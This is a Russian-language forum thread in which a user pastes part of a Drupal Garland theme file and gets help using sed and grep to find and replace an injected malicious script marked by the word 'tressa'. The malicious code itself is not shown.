if (isset($vars['main_menu'])) { $vars['primary_nav'] = theme('links__system_main_menu', array( 'links' => $vars['main_menu'], 'attributes' => array( 'class' => array('links', 'inline', 'main-menu'), ), 'heading' => array( 'text' => t('Main menu'), 'level' => 'h2', 'class' => array('element-invisible'), ) )); } else { $vars['primary_nav'] = FALSE; } if (isset($vars['secondary_menu'])) { $vars['secondary_nav'] = theme('links__system_secondary_menu', array( 'links' => $vars['secondary_menu'], 'attributes' => array( 'class' => array('links', 'inline', 'secondary-menu'), ), 'heading' => array( 'text' => t('Secondary menu'), 'level' => 'h2', 'class' => array('element-invisible'), ) )); } else { $vars['secondary_nav'] = FALSE; }

// Prepare header. $site_fields = array(); if (!empty($vars['site_name'])) { $site_fields[] = $vars['site_name']; } if (!empty($vars['site_slogan'])) { $site_fields[] = $vars['site_slogan']; } $vars['site_title'] = implode(' ', $site_fields); if (!empty($site_fields)) { $site_fields[0] = '<span>' . $site_fields[0] . '</span>'; } $vars['site_html'] = implode(' ', $site_fields);

// Set a variable for the site name title and logo alt attributes text. $slogan_text = $vars['site_slogan']; $site_name_text = $vars['site_name']; $vars['site_name_and_slogan'] = $site_name_text . ' ' . $slogan_text; }

/** * Override or insert variables into the node template. */ function garland_preprocess_node(&$vars) { $vars['submitted'] = $vars['date'] . ' — ' . $vars['name']; }

/** * Override or insert variables into the comment template. */ function garland_preprocess_comment(&$vars) { $vars['submitted'] = $vars['created'] . ' — ' . $vars['author']; }

/** * Override or insert variables into the block template. */ function garland_preprocess_block(&$vars) { $vars['title_attributes_array']['class'][] = 'title'; $vars['classes_array'][] = 'clearfix'; }

/** * Override or insert variables into the page template. */ function garland_process_page(&$vars) { // Hook into color.module if (module_exists('color')) { _color_page_alter($vars); } }

/** * Override or insert variables into the region template. */ function garland_preprocess_region(&$vars) { if ($vars['region'] == 'header') { $vars['classes_array'][] = 'clearfix'; } } gu@moshell:~$

#288995
"moshell" написал:
sed -e '/./{H;$!d;}' -e 'x;/tressa/!d;' php

при условии что слово tressa у тебя встречается ТОЛЬКО во вредном скрипте

Слово tressa есть только во вредном скрипте. Данная команда выводить сам кусок кода, а как можно его заменить на другой?

"moshell" написал:
ну раз монолитный. он ограничивается пустыми строками?

Не совсем понятен вопрос. Три строчки кода, вроде как пробелов по краям нет.

#288996
"moshell" написал:
ты сказал что grep не работает..

Если делать grep по слову tressa, то работает. Не получилось сделать grep с использованием всей строки.

Войдите или зарегистрируйтесь, чтобы ответить.